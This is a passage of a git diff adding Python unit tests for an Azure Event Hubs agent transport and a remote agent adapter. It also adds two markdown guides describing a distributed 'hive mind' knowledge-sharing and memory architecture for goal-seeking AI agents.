test_non_numeric_name_uses_hash(self): + result = EventHubsShardTransport._agent_index("coordinator") + assert isinstance(result, int) + assert result >= 0 + + def test_empty_string_uses_hash(self): + result = EventHubsShardTransport._agent_index("") + assert isinstance(result, int) + assert result >= 0 + + +class TestTargetPartition: + """EventHubsShardTransport._target_partition() method.""" + + @patch.object(EventHubsShardTransport, "__init__", lambda self, **kw: None) + def _make_transport(self, num_partitions=32): + t = EventHubsShardTransport() # type: ignore[call-arg] + t._num_partitions = num_partitions + t._connection_string = "fake" + t._consumer_group = "cg" + t._eventhub_name = "hub" + return t + + def test_partition_wraps_around(self): + transport = self._make_transport(num_partitions=32) + assert transport._target_partition("agent-0") == "0" + assert transport._target_partition("agent-31") == "31" + assert transport._target_partition("agent-32") == "0" # wraps + assert transport._target_partition("agent-33") == "1" + + def test_partition_small_hub(self): + transport = self._make_transport(num_partitions=4) + assert transport._target_partition("agent-0") == "0" + assert transport._target_partition("agent-4") == "0" + assert transport._target_partition("agent-5") == "1" + + def test_same_agent_always_same_partition(self): + transport = self._make_transport(num_partitions=16) + p1 = transport._target_partition("agent-42") + p2 = transport._target_partition("agent-42") + assert p1 == p2 + + +class TestGetNumPartitions: + """EventHubsShardTransport._get_num_partitions() method.""" + + @patch.object(EventHubsShardTransport, "__init__", lambda self, **kw: None) + def _make_transport(self): + t = EventHubsShardTransport() # type: ignore[call-arg] + t._num_partitions = None + t._connection_string = "fake" + t._consumer_group = "cg" + t._eventhub_name = "hub" + return t + + def test_cached_value_returned(self): + t = self._make_transport() + t._num_partitions = 16 + assert t._get_num_partitions() == 16 + + def test_fallback_on_import_error(self): + t = self._make_transport() + with patch.dict("sys.modules", {"azure.eventhub": None}): + # Force import to fail + result = t._get_num_partitions() + assert result == 32 # default fallback + + def test_caches_after_first_call(self): + t = self._make_transport() + t._num_partitions = None + # Simulate failure so it falls back to 32 + with patch.dict("sys.modules", {"azure.eventhub": None}): + t._get_num_partitions() + assert t._num_partitions == 32 + # Second call returns cached + assert t._get_num_partitions() == 32 + + +class TestPublishPartitionRouting: + """Verify _publish converts agent-N partition_key to explicit partition_id.""" + + @patch.object(EventHubsShardTransport, "__init__", lambda self, **kw: None) + def _make_transport(self): + import threading + + t = EventHubsShardTransport() # type: ignore[call-arg] + t._num_partitions = 32 + t._connection_string = "fake" + t._consumer_group = "cg" + t._eventhub_name = "hub" + t._agent_id = "agent-0" + t._producer = None + t._producer_lock = threading.Lock() + t._shutdown = MagicMock() + t._shutdown.is_set.return_value = False + return t + + def test_publish_uses_partition_id_for_agent_name(self): + transport = self._make_transport() + + mock_producer = MagicMock() + mock_batch = MagicMock() + mock_producer.create_batch.return_value = mock_batch + + with ( + patch( + "azure.eventhub.EventHubProducerClient", + ) as MockProducer, + patch( + "azure.eventhub.EventData", + ) as MockEventData, + ): + MockProducer.from_connection_string.return_value = mock_producer + MockEventData.side_effect = lambda data: data + + transport._publish( + {"event_type": "SHARD_QUERY", "payload": {"target_agent": "agent-5"}}, + partition_key="agent-5", + ) + + # Should use partition_id=5 (not partition_key) + create_kwargs = mock_producer.create_batch.call_args[1] + assert "partition_id" in create_kwargs + assert create_kwargs["partition_id"] == "5" + assert "partition_key" not in create_kwargs + + def test_publish_uses_partition_key_for_non_agent(self): + transport = self._make_transport() + + mock_producer = MagicMock() + mock_batch = MagicMock() + mock_producer.create_batch.return_value = mock_batch + + with ( + patch( + "azure.eventhub.EventHubProducerClient", + ) as MockProducer, + patch( + "azure.eventhub.EventData", + ) as MockEventData, + ): + MockProducer.from_connection_string.return_value = mock_producer + MockEventData.side_effect = lambda data: data + + transport._publish( + {"event_type": "SOME_EVENT", "payload": {}}, + partition_key="broadcast-key", + ) + + create_kwargs = mock_producer.create_batch.call_args[1] + assert "partition_key" in create_kwargs + assert create_kwargs["partition_key"] == "broadcast-key" + + def test_publish_resets_producer_on_send_failure(self): + transport = self._make_transport() + + mock_producer = MagicMock() + mock_producer.create_batch.side_effect = ConnectionError("network down") + + with ( + patch( + "azure.eventhub.EventHubProducerClient", + ) as MockProducer, + patch( + "azure.eventhub.EventData", + ), + ): + MockProducer.from_connection_string.return_value = mock_producer + + # Should not raise — logs warning and resets producer + transport._publish( + {"event_type": "SHARD_QUERY", "payload": {"target_agent": "agent-1"}}, + partition_key="agent-1", + ) + assert transport._producer is None + + +# =========================================================================== +# _extract_input_text +# =========================================================================== + + +class TestExtractInputText: + """Tests for agent_entrypoint._extract_input_text().""" + + @pytest.fixture(autouse=True) + def _load(self): + self.mod = _load_entrypoint() + self.extract = self.mod._extract_input_text + + def test_learn_content(self): + result = self.extract( + "LEARN_CONTENT", + {"content": "The sky is blue."}, + {}, + ) + assert result == "The sky is blue." + + def test_input_question(self): + result = self.extract( + "INPUT", + {"question": "What color is the sky?"}, + {}, + ) + assert result == "What color is the sky?" + + def test_query_question(self): + result = self.extract( + "QUERY", + {"question": "Who wrote Hamlet?"}, + {}, + ) + assert result == "Who wrote Hamlet?" + + def test_query_text_fallback(self): + result = self.extract( + "QUERY", + {"text": "search for something"}, + {}, + ) + assert result == "search for something" + + def test_query_content_fallback(self): + result = self.extract( + "QUERY", + {"content": "some content"}, + {}, + ) + assert result == "some content" + + def test_unknown_event_type_fallback_keys(self): + result = self.extract( + "CUSTOM_EVENT", + {"message": "hello from custom"}, + {}, + ) + assert result == "hello from custom" + + def test_unknown_event_type_data_key(self): + result = self.extract( + "CUSTOM_EVENT", + {"data": "raw data here"}, + {}, + ) + assert result == "raw data here" + + def test_empty_payload_returns_event_string(self): + raw = {"event_type": "EMPTY", "payload": {}} + result = self.extract("EMPTY", {}, raw) + assert "Event received:" in result + + def test_none_payload_handled(self): + result = self.extract("WHATEVER", None, {"raw": "event"}) + assert "Event received:" in result + + def test_learn_content_empty_content(self): + result = self.extract("LEARN_CONTENT", {"content": ""}, {}) + assert result == "" + + def test_network_graph_search_query(self): + result = self.extract( + "network_graph.search_query", + {"question": "distributed search query"}, + {}, + ) + assert result == "distributed search query" + + +# =========================================================================== +# _CorrelatingInputSource +# =========================================================================== + + +class TestCorrelatingInputSource: + def test_sets_context_on_next(self): + mod = _load_entrypoint() + cls = mod._CorrelatingInputSource + + mock_source = MagicMock() + mock_source.next.return_value = "hello" + mock_source.last_event_metadata = {"event_id": "ev1", "question_id": "q1", "run_id": "r1"} + + mock_publisher = MagicMock() + wrapper = cls(mock_source, mock_publisher) + + result = wrapper.next() + assert result == "hello" + mock_publisher.set_context.assert_called_once_with("ev1", "q1", run_id="r1") + + def test_clears_context_when_no_event_id(self): + mod = _load_entrypoint() + cls = mod._CorrelatingInputSource + + mock_source = MagicMock() + mock_source.next.return_value = "data" + mock_source.last_event_metadata = {} + + mock_publisher = MagicMock() + wrapper = cls(mock_source, mock_publisher) + + wrapper.next() + mock_publisher.clear_context.assert_called_once() + + def test_close_delegates(self): + mod = _load_entrypoint() + cls = mod._CorrelatingInputSource + + mock_source = MagicMock() + mock_publisher = MagicMock() + wrapper = cls(mock_source, mock_publisher) + + wrapper.close() + mock_source.close.assert_called_once() + + +# =========================================================================== +# _handle_event +# =========================================================================== + + +class TestHandleEvent: + def test_feed_complete_publishes_agent_ready(self): + mod = _load_entrypoint() + + mock_agent = MagicMock() + mock_memory = MagicMock() + mock_transport = MagicMock() + mock_memory._transport = mock_transport + + event = { + "event_type": "FEED_COMPLETE", + "payload": {"total_turns": 100}, + } + + mod._handle_event("agent-0", event, mock_memory, mock_agent) + # Should have published AGENT_READY via transport + mock_transport.publish.assert_called_once() + call_args = mock_transport.publish.call_args + bus_event = call_args[0][0] + assert bus_event.event_type == "AGENT_READY" + + def test_agent_ready_ignored(self): + mod = _load_entrypoint() + mock_agent = MagicMock() + mock_memory = MagicMock() + + event = {"event_type": "AGENT_READY", "payload": {}} + mod._handle_event("agent-0", event, mock_memory, mock_agent) + mock_agent.process.assert_not_called() + + def test_query_response_ignored(self): + mod = _load_entrypoint() + mock_agent = MagicMock() + mock_memory = MagicMock() + + event = { + "event_type": "QUERY_RESPONSE", + "payload": {"query_id": "q1"}, + } + mod._handle_event("agent-0", event, mock_memory, mock_agent) + mock_agent.process.assert_not_called() + + def test_input_event_calls_process(self): + mod = _load_entrypoint() + mock_agent = MagicMock() + mock_memory = MagicMock() + + event = { + "event_type": "INPUT", + "payload": {"question": "What is 2+2?"}, + } + mod._handle_event("agent-0", event, mock_memory, mock_agent) + mock_agent.process.assert_called_once_with("What is 2+2?") + + def test_learn_content_calls_process(self): + mod = _load_entrypoint() + mock_agent = MagicMock() + mock_memory = MagicMock() + + event = { + "event_type": "LEARN_CONTENT", + "payload": {"content": "The earth orbits the sun."}, + } + mod._handle_event("agent-0", event, mock_memory, mock_agent) + mock_agent.process.assert_called_once_with("The earth orbits the sun.") diff --git a/deploy/azure_hive/tests/test_remote_agent_adapter.py b/deploy/azure_hive/tests/test_remote_agent_adapter.py new file mode 100644 index 000000000..56ec564ad --- /dev/null +++ b/deploy/azure_hive/tests/test_remote_agent_adapter.py @@ -0,0 +1,400 @@ +"""Tests for remote_agent_adapter.py — zero-external-dependency unit tests.""" + +from __future__ import annotations + +import importlib.util +import json +import threading +import time +from pathlib import Path +from unittest.mock import MagicMock, patch + +import pytest + +_ADAPTER_PATH = Path(__file__).parent.parent / "remote_agent_adapter.py" + + +def _load_module(): + spec = importlib.util.spec_from_file_location("remote_agent_adapter", _ADAPTER_PATH) + assert spec is not None and spec.loader is not None + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _make_adapter(mod, agent_count=5, answer_timeout=0): + """Create an adapter with mocked EH clients.""" + with patch.object(mod, "threading") as mock_threading: + # Make the listener thread a no-op + mock_thread = MagicMock() + mock_threading.Event.side_effect = [ + threading.Event(), # _shutdown + threading.Event(), # _idle_wait_done + threading.Event(), # _all_agents_ready + ] + mock_threading.Lock.return_value = threading.Lock() + mock_threading.Thread.return_value = mock_thread + + # Pre-set listener_alive so __init__ doesn't block + adapter = object.__new__(mod.RemoteAgentAdapter) + adapter._connection_string = ( + "Endpoint=sb://fake.servicebus.windows.net/;SharedAccessKeyName=x;SharedAccessKey=y" + ) + adapter._input_hub = "hive-input" + adapter._response_hub = "eval-responses" + adapter._resource_group = "" + adapter._agent_count = agent_count + adapter._learn_count = 0 + adapter._question_count = 0 + adapter._answer_timeout = answer_timeout + adapter._shutdown = threading.Event() + adapter._idle_wait_done = threading.Event() + adapter._counter_lock = threading.Lock() + adapter._answer_lock = threading.Lock() + adapter._pending_answers = {} + adapter._answer_events = {} + adapter._ready_agents = set() + adapter._ready_lock = threading.Lock() + adapter._all_agents_ready = threading.Event() + adapter._run_id = "test_run_abc" + adapter._listener_alive = threading.Event() + adapter._listener_alive.set() + adapter._listener_thread = MagicMock() + + return adapter + + +# =========================================================================== +# Tests +# =========================================================================== + + +class TestRemoteAgentAdapterInit: + def test_module_loads(self): + mod = _load_module() + assert hasattr(mod, "RemoteAgentAdapter") + + def test_adapter_attrs(self): + mod = _load_module() + adapter = _make_adapter(mod, agent_count=10) + assert adapter._agent_count == 10 + assert adapter._learn_count == 0 + assert adapter._question_count == 0 + assert adapter._run_id == "test_run_abc" + + +class TestPublishEvent: + def test_publish_attaches_run_id(self): + mod = _load_module() + adapter = _make_adapter(mod) + + mock_producer = MagicMock() + mock_batch = MagicMock() + mock_producer.create_batch.return_value = mock_batch + mock_producer.__enter__ = MagicMock(return_value=mock_producer) + mock_producer.__exit__ = MagicMock(return_value=False) + + with ( + patch( + "azure.eventhub.EventHubProducerClient", + create=True, + ) as MockProducer, + patch( + "azure.eventhub.EventData", + create=True, + ) as MockEventData, + ): + MockProducer.from_connection_string.return_value = mock_producer + MockEventData.side_effect = lambda data: data + + payload = {"event_type": "LEARN_CONTENT", "event_id": "abc"} + adapter._publish_event(payload, partition_key="agent-0") + + assert payload["run_id"] == "test_run_abc" + mock_producer.send_batch.assert_called_once() + + def test_publish_retries_on_failure(self): + mod = _load_module() + adapter = _make_adapter(mod) + + # First producer fails, second succeeds + mock_producer_fail = MagicMock() + mock_producer_fail.__enter__ = MagicMock(return_value=mock_producer_fail) + mock_producer_fail.__exit__ = MagicMock(return_value=False) + mock_producer_fail.send_batch.side_effect = ConnectionError("EH down") + + mock_producer_ok = MagicMock() + mock_producer_ok.__enter__ = MagicMock(return_value=mock_producer_ok) + mock_producer_ok.__exit__ = MagicMock(return_value=False) + mock_batch = MagicMock() + mock_producer_ok.create_batch.return_value = mock_batch + + with ( + patch( + "azure.eventhub.EventHubProducerClient", + create=True, + ) as MockProducer, + patch( + "azure.eventhub.EventData", + create=True, + ) as MockEventData, + ): + MockProducer.from_connection_string.side_effect = [ + mock_producer_fail, + mock_producer_ok, + ] + MockEventData.side_effect = lambda data: data + + adapter._publish_event( + {"event_type": "INPUT", "event_id": "x"}, + partition_key="agent-1", + ) + mock_producer_ok.send_batch.assert_called_once() + + def test_publish_raises_after_retry_failure(self): + mod = _load_module() + adapter = _make_adapter(mod) + + def make_failing_producer(): + p = MagicMock() + p.__enter__ = MagicMock(return_value=p) + p.__exit__ = MagicMock(return_value=False) + p.send_batch.side_effect = ConnectionError("EH down") + return p + + with ( + patch( + "azure.eventhub.EventHubProducerClient", + create=True, + ) as MockProducer, + patch( + "azure.eventhub.EventData", + create=True, + ) as MockEventData, + ): + MockProducer.from_connection_string.side_effect = [ + make_failing_producer(), + make_failing_producer(), + ] + MockEventData.side_effect = lambda data: data + + with pytest.raises(ConnectionError): + adapter._publish_event( + {"event_type": "INPUT", "event_id": "x"}, + partition_key="agent-1", + ) + + +class TestLearnFromContent: + def test_round_robin_targets(self): + mod = _load_module() + adapter = _make_adapter(mod, agent_count=3) + + published_keys = [] + + def capture_publish(payload, partition_key): + published_keys.append(partition_key) + + adapter._publish_event = capture_publish + + for i in range(6): + result = adapter.learn_from_content(f"content {i}") + assert "facts_stored" in result + + assert published_keys == [ + "agent-0", + "agent-1", + "agent-2", + "agent-0", + "agent-1", + "agent-2", + ] + + def test_learn_increments_counter(self): + mod = _load_module() + adapter = _make_adapter(mod, agent_count=2) + adapter._publish_event = MagicMock() + + adapter.learn_from_content("hello") + assert adapter._learn_count == 1 + adapter.learn_from_content("world") + assert adapter._learn_count == 2 + + +class TestAnswerQuestion: + def test_answer_returned_when_set(self): + mod = _load_module() + adapter = _make_adapter(mod, agent_count=2) + adapter._idle_wait_done.set() # skip idle wait + + # Capture the event_id from publish + captured_event_ids = [] + + def capture_publish(payload, partition_key): + captured_event_ids.append(payload.get("event_id", "")) + + adapter._publish_event = capture_publish + + # Answer in a background thread + def answer_later(): + time.sleep(0.1) + eid = captured_event_ids[0] + with adapter._answer_lock: + adapter._pending_answers[eid] = "The answer is 42" + adapter._answer_events[eid].set() + + t = threading.Thread(target=answer_later, daemon=True) + t.start() + + result = adapter.answer_question("what is the answer?") + t.join(timeout=5) + assert result == "The answer is 42" + + def test_answer_timeout_returns_default(self): + mod = _load_module() + adapter = _make_adapter(mod, agent_count=1, answer_timeout=1) + adapter._idle_wait_done.set() + adapter._publish_event = MagicMock() + + result = adapter.answer_question("will time out") + assert result == "No answer received" + + +class TestOnEvent: + def test_agent_ready_tracked(self): + mod = _load_module() + adapter = _make_adapter(mod, agent_count=2) + + # Simulate _on_event callback + body = json.dumps( + { + "event_type": "AGENT_READY", + "agent_id": "agent-0", + "run_id": "test_run_abc", + } + ) + mock_event = MagicMock() + mock_event.body_as_str.return_value = body + + mock_ctx = MagicMock() + + # Build the _on_event handler manually + run_id = adapter._run_id + + def on_event(partition_context, event): + if event is None: + return + data = json.loads(event.body_as_str()) + et = data.get("event_type", "") + rid = data.get("run_id", "") + if rid and rid != run_id: + return + if et == "AGENT_READY": + agent_id = data.get("agent_id", "") + if agent_id: + with adapter._ready_lock: + adapter._ready_agents.add(agent_id) + + on_event(mock_ctx, mock_event) + assert "agent-0" in adapter._ready_agents + + def test_stale_run_id_filtered(self): + mod = _load_module() + adapter = _make_adapter(mod, agent_count=2) + + body = json.dumps( + { + "event_type": "AGENT_READY", + "agent_id": "agent-0", + "run_id": "old_run_xyz", + } + ) + mock_event = MagicMock() + mock_event.body_as_str.return_value = body + + run_id = adapter._run_id + + def on_event(partition_context, event): + if event is None: + return + data = json.loads(event.body_as_str()) + rid = data.get("run_id", "") + if rid and rid != run_id: + return + et = data.get("event_type", "") + if et == "AGENT_READY": + with adapter._ready_lock: + adapter._ready_agents.add(data.get("agent_id", "")) + + on_event(MagicMock(), mock_event) + assert len(adapter._ready_agents) == 0 + + def test_eval_answer_delivered(self): + mod = _load_module() + adapter = _make_adapter(mod, agent_count=1) + + event_id = "ev123" + answer_event = threading.Event() + with adapter._answer_lock: + adapter._answer_events[event_id] = answer_event + + body = json.dumps( + { + "event_type": "EVAL_ANSWER", + "event_id": event_id, + "answer": "Paris is the capital", + "run_id": "test_run_abc", + "agent_id": "agent-0", + } + ) + mock_event = MagicMock() + mock_event.body_as_str.return_value = body + + run_id = adapter._run_id + + def on_event(partition_context, event): + if event is None: + return + data = json.loads(event.body_as_str()) + rid = data.get("run_id", "") + if rid and rid != run_id: + return + et = data.get("event_type", "") + if et == "EVAL_ANSWER": + eid = data.get("event_id", "") + ans = data.get("answer", "") + with adapter._answer_lock: + if eid in adapter._answer_events: + adapter._pending_answers[eid] = ans + adapter._answer_events[eid].set() + + on_event(MagicMock(), mock_event) + assert answer_event.is_set() + assert adapter._pending_answers[event_id] == "Paris is the capital" + + +class TestGetMemoryStats: + def test_stats_returned(self): + mod = _load_module() + adapter = _make_adapter(mod, agent_count=3) + adapter._learn_count = 100 + adapter._question_count = 10 + + stats = adapter.get_memory_stats() + assert stats["adapter"] == "remote" + assert stats["learn_count"] == 100 + assert stats["question_count"] == 10 + assert stats["agent_count"] == 3 + + +class TestClose: + def test_close_sets_shutdown(self): + mod = _load_module() + adapter = _make_adapter(mod) + adapter.close() + assert adapter._shutdown.is_set() diff --git a/docs/INVESTIGATION_hive_mind_guide.md b/docs/INVESTIGATION_hive_mind_guide.md new file mode 100644 index 000000000..89c40b73a --- /dev/null +++ b/docs/INVESTIGATION_hive_mind_guide.md @@ -0,0 +1,246 @@ +# Hive Mind System — Educational Guide + +> Investigation date: 2026-03-08 +> Branch: `feat/distributed-hive-mind` +> Scope: Complete architectural walkthrough of the distributed hive mind system + +## What Is the Hive Mind? + +The hive mind is a **distributed knowledge-sharing system** for goal-seeking AI agents. Instead of each agent learning in isolation, agents pool knowledge through a shared graph structure — like a colony of ants sharing pheromone trails, but for factual knowledge. + +**Core problem it solves**: When you run multiple AI agents (e.g., 20 domain specialists), each agent only sees its own conversation history. The hive mind lets Agent A's biology knowledge be discoverable by Agent B when answering a biology question — even though Agent B never learned it directly. + +## The Four-Layer Architecture + +The system is organized into four composable layers, each with a single responsibility: + +``` +┌──────────────────────────────────────────────────┐ +│ Layer 4: Query (Deduplication + Reranking) │ +│ Merge results from all sources, remove dupes, │ +│ rerank by confidence or RRF │ +├──────────────────────────────────────────────────┤ +│ Layer 3: Discovery (Gossip Protocol) │ +│ Epidemic-style dissemination to peers │ +│ Trust-weighted peer selection, loop prevention │ +├──────────────────────────────────────────────────┤ +│ Layer 2: Transport (EventBus) │ +│ Publish/subscribe for FACT_PROMOTED events │ +│ Local, Redis, or Azure Service Bus backends │ +├──────────────────────────────────────────────────┤ +│ Layer 1: Storage (HiveGraph) │ +│ Persist and retrieve facts │ +│ InMemory or DHT-sharded backends │ +│ CRDT-based replication (ORSet, LWWRegister) │ +└──────────────────────────────────────────────────┘ +``` + +**Why four layers?** Each layer is independently replaceable. You can run Layer 1 alone (single-process, no networking) or add layers incrementally as you scale. This follows the brick philosophy — each layer is a self-contained module. + +### Layer 1: Storage (HiveGraph) + +**File**: `src/amplihack/agents/goal_seeking/hive_mind/hive_graph.py` + +The foundation. HiveGraph is a **protocol** (interface), not a concrete class. Two implementations exist: + +| Implementation | When to Use | Scales To | +|---|---|---| +| `InMemoryHiveGraph` | Single-process, testing, small deployments | ~50 agents | +| `DistributedHiveGraph` | Multi-process, production | 100+ agents | + +Key operations: +- `register_agent(agent_id, domain)` — Add an agent to the hive +- `promote_fact(agent_id, fact)` — Store a fact (the primary write operation) +- `query_facts(query, limit)` — Search facts by keyword or vector similarity +- `query_federated(query, limit)` — Search across the entire federation tree + +**Federation**: Hive graphs form a tree. Each group hive has a parent, and high-confidence facts (≥ 0.9) escalate to the root for cross-group visibility. + +### Layer 2: Transport (EventBus) + +**File**: `src/amplihack/agents/goal_seeking/hive_mind/event_bus.py` + +When a fact is promoted, a `FACT_PROMOTED` event is published. Other agents subscribe and incorporate peer facts (with a 10% confidence discount — peer knowledge is slightly less trusted than self-learned knowledge). + +Three backends: +- **LocalEventBus** — In-process queues (testing/single-process) +- **RedisEventBus** — Redis pub/sub (multi-process, same machine) +- **ServiceBusEventBus** — Azure Service Bus (cloud deployment) + +### Layer 3: Discovery (Gossip Protocol) + +**File**: `src/amplihack/agents/goal_seeking/hive_mind/gossip.py` + +Epidemic-style dissemination. Each gossip round: +1. Select 2 peers (trust-weighted random) +2. Share top-10 facts by confidence (min 0.3) +3. Skip facts the peer already has (content dedup) +4. Tag shared facts to prevent re-gossip loops + +Convergence: O(log N) rounds for N agents to share all knowledge. + +### Layer 4: Query (Deduplication + Reranking) + +**File**: `src/amplihack/agents/goal_seeking/hive_mind/reranker.py` + +When querying, results come from multiple sources (local, peers, federation). Layer 4: +1. Deduplicates by content hash (MD5, not for security) +2. Reranks using RRF (Reciprocal Rank Fusion) if available +3. Falls back to confidence-based sorting otherwise + +**RRF formula**: `score(fact) = Σ(1 / (60 + rank_i))` across multiple ranked lists + +## The HiveMindOrchestrator + +**File**: `src/amplihack/agents/goal_seeking/hive_mind/orchestrator.py` + +The orchestrator is the **single entry point** for interacting with all four layers. It follows the philosophy: "one class, one job — coordinate layers, never own them." + +### Core API + +```python +orchestrator = HiveMindOrchestrator( + agent_id="agent_a", + hive_graph=hive, # Layer 1 + event_bus=bus, # Layer 2 + peers=[peer_hive], # Layer 3 targets + policy=policy, # Pluggable promotion rules +) + +# Store + promote through all layers +result = orchestrator.store_and_promote("biology", "DNA stores info", 0.9) +# Returns: {fact_id, promoted, event_published, gossip_triggered} + +# Query across all layers with dedup +results = orchestrator.query_unified("DNA genetics", limit=10) +# Returns: [{fact_id, concept, content, confidence, source_agent, tags, status}] + +# Process a peer's event +result = orchestrator.process_event(event) + +# Run one gossip round +result = orchestrator.run_gossip_round() + +# Poll and incorporate all pending events +results = orchestrator.drain_events() +``` + +### PromotionPolicy (Pluggable) + +The orchestrator doesn't hardcode thresholds. Instead, a `PromotionPolicy` protocol decides what happens at each layer: + +```python +class PromotionPolicy(Protocol): + def should_promote(self, fact, source_agent) -> bool: ... # Layer 1 + def should_gossip(self, fact, source_agent) -> bool: ... # Layer 3 + def should_broadcast(self, fact, source_agent) -> bool: ... # Federation +``` + +Default thresholds: +- **Promote** (Layer 1): confidence ≥ 0.3 +- **Gossip** (Layer 3): confidence ≥ 0.3 +- **Broadcast** (Federation): confidence ≥ 0.9 + +## Data Structures + +### HiveFact + +```python +@dataclass +class HiveFact: + fact_id: str # "hf_" + 12-char hex + content: str # The factual text + concept: str # Topic/category + confidence: float # 0.0 to 1.0 + source_agent: str # Who created it + tags: list[str] # Categorization + metadata + status: str # "active" | "retracted" +``` + +### CRDTs for Consistency + +The system uses Conflict-Free Replicated Data Types so replicas can merge without coordination: + +- **ORSet** (Observed-Remove Set): Tracks fact membership. Add-wins semantics — if one replica adds and another removes concurrently, the fact survives. +- **LWWRegister** (Last-Writer-Wins): Stores agent trust scores. Latest timestamp wins on merge. +- **GSet** (Grow-Only Set): Building block. Items can be added but never removed. + +### Distributed Hash Table (DHT) + +For 100+ agents, facts are sharded across agents using consistent hashing: +- **HashRing**: 64 virtual nodes per agent for even distribution +- **ShardStore**: Each agent stores O(F/N) facts +- **Replication factor**: 3 copies per fact (configurable) +- **Query fanout**: 5 agents queried per search (configurable) + +## Three Deployment Topologies + +### 1. Single Agent (No Hive) +One agent, one Kuzu DB. No networking. Baseline for comparison. + +### 2. Flat (N Agents, Shared Hive) +All agents share one HiveGraph instance. Every fact is visible to all agents immediately. Simple but doesn't scale past ~50 agents. + +### 3. Federated (Tree of Hives) +Agents grouped into domain-specific hives. High-confidence facts bubble up to root and broadcast to siblings. Scales to 100+ agents. + +``` +Root Hive (aggregates ≥0.9 confidence) +├── Group 0: Security agents +├── Group 1: Infrastructure agents +└── Group N: Data agents +``` + +## The OODA Loop Connection + +The hive mind integrates with the OODA (Observe-Orient-Decide-Act) cognitive loop: + +1. **Observe**: `InputSource` provides content (stdin, Service Bus, or list) +2. **Orient**: LLM extracts structured facts from content +3. **Decide**: Classify as "store" (learn) or "answer" (respond) +4. **Act**: `Memory.store()` → promotes to hive; or `Memory.recall()` → queries hive + +The `Memory` facade (`memory/facade.py`) provides a clean interface: +- `remember(content)` → LLM extracts facts, stores locally + promotes to hive +- `recall(query)` → Hybrid search across local + hive knowledge + +## Key Constants + +| Constant | Value | Purpose | +|---|---|---| +| `DEFAULT_CONFIDENCE_GATE` | 0.3 | Min confidence to promote to hive | +| `DEFAULT_BROADCAST_THRESHOLD` | 0.9 | Min confidence for federation broadcast | +| `PEER_CONFIDENCE_DISCOUNT` | 0.9 | Peer facts get 10% confidence reduction | +| `DEFAULT_GOSSIP_FANOUT` | 2 | Peers contacted per gossip round | +| `DEFAULT_GOSSIP_TOP_K` | 10 | Facts shared per gossip round | +| `DEFAULT_REPLICATION_FACTOR` | 3 | DHT copies per fact | +| `DEFAULT_QUERY_FANOUT` | 5 | Agents queried per DHT search | +| `RRF_K` | 60 | Reciprocal Rank Fusion constant | + +## Known Issues (as of 2026-03-06) + +1. **Empty root hive**: Facts go to group hives but queries hitting root find nothing (facts don't auto-escalate unless ≥0.9) +2. **Swallowed errors**: `_synthesize_with_llm()` silently catches exceptions +3. **Routing precision at scale**: Degrades to 45.8% at 100 agents (vs 94.1% single-agent baseline) +4. **High variance**: Random fallback in routing causes 31% stddev + +## File Map + +| File | LOC | Purpose | +|---|---|---| +| `hive_graph.py` | 1,098 | Protocol + InMemoryHiveGraph | +| `in_memory_hive.py` | 874 | Dict-based backend | +| `controller.py` | 912 | Declarative reconciliation from YAML | +| `distributed.py` | 830 | AgentNode, HiveCoordinator | +| `event_bus.py` | 662 | Pub/sub transport | +| `dht.py` | 586 | Consistent hash ring + shard routing | +| `orchestrator.py` | 522 | Four-layer coordination | +| `reranker.py` | 305 | RRF merge + hybrid scoring | +| `gossip.py` | 249 | Epidemic dissemination | +| `crdt.py` | 215 | ORSet, LWWRegister, GSet | +| `quality.py` | 204 | Content quality evaluation | +| `query_expansion.py` | 202 | Query synonym expansion | +| `fact_lifecycle.py` | 156 | TTL + confidence decay | +| `constants.py` | 142 | Centralized thresholds | +| `embeddings.py` | 144 | Vector embedding support | +| `bloom.py` | 123 | Space-efficient set membership | diff --git a/docs/agent_memory_architecture.md b/docs/agent_memory_architecture.md new file mode 100644 index 000000000..26a19775d --- /dev/null +++ b/docs/agent_memory_architecture.md @@ -0,0 +1,371 @@ +# Goal-Seeking Agent & Memory Architecture + +## Agent + +A `GoalSeekingAgent` is a single unit that can learn, reason, and act. It has one `Memory` instance and one `AgenticLoop` (OODA cycle). Every operation — learning content, answering questions, pursuing multi-step goals — runs through the same OODA loop. + +```python +from amplihack.memory import Memory + +mem = Memory("agent_0") +mem.remember("Server prod-db-01 runs PostgreSQL 15.4") +facts = mem.recall("What database does prod-db-01 run?") +``` + +The agent doesn't know or care whether memory is local or distributed. That's configuration. + +## OODA Loop + +Every agent operation is one or more iterations of: + +```mermaid +flowchart LR + subgraph OBSERVE + O1["Perceive input"] + O2["remember(observation)"] + O3["recall(what do I already know about this?)"] + end + + subgraph ORIENT + OI1["recall(similar past situations)"] + OI2["recall(relevant domain facts)"] + OI3["Assess: form world model from observation + recalled knowledge"] + end + + subgraph DECIDE + D["LLM reasons with full context:
current observation + all recalled memory
→ choose action + parameters"] + end + + subgraph ACT + A1["Execute chosen action"] + A2["remember(action + outcome)"] + end + + OBSERVE --> ORIENT --> DECIDE --> ACT + ACT -->|"outcome becomes next observation"| OBSERVE +``` + +**OBSERVE** stores the input and checks what the agent already knows about it. **ORIENT** deepens the context with similar past situations and domain knowledge — both via `recall()`. **DECIDE** is where the LLM reasons with the full picture. **ACT** executes and stores the outcome. + +Memory is read and written at multiple phases, not just at the end. + +### Operations Mapped to OODA + +**`learn_from_content(content)`** — one iteration: +- OBSERVE: remember the content, recall if we've seen similar before +- ORIENT: check for duplicates, assess temporal context +- DECIDE: LLM extracts structured facts +- ACT: store each fact via `remember()`, record the episode + +**`answer_question(question)`** — one iteration: +- OBSERVE: remember the question, recall any prior answers to it +- ORIENT: recall domain facts, recall similar past questions +- DECIDE: LLM synthesizes answer from recalled context +- ACT: return answer, remember the Q&A pair + +**`run(goal)`** — multiple iterations: +- Each iteration: observe current state → orient with memory → decide next action → act → observe result +- Continues until goal is achieved or max iterations + +## Memory System + +Memory has two concerns: **storage backend** and **topology**. + +**Storage backend** (how facts are persisted per agent): +- `cognitive` (default): 6-type CognitiveMemory backed by Kuzu graph DB. Supports sensory, working, episodic, semantic, procedural, and prospective memory. Each agent gets a 256MB Kuzu instance. +- `hierarchical`: Simpler flat key-value store. No external dependencies. + +**Topology** (how agents share knowledge): +- `single` (default): One agent, local storage only. No network. For development. +- `distributed`: All agents share a single `DistributedHiveGraph`. Facts are sharded across agents via a consistent hash ring with replication factor R=3. + +### Configuration + +Resolves in priority order: explicit kwargs → environment variables → YAML config file → sensible defaults. + +```yaml +# ~/.amplihack/memory.yaml +memory: 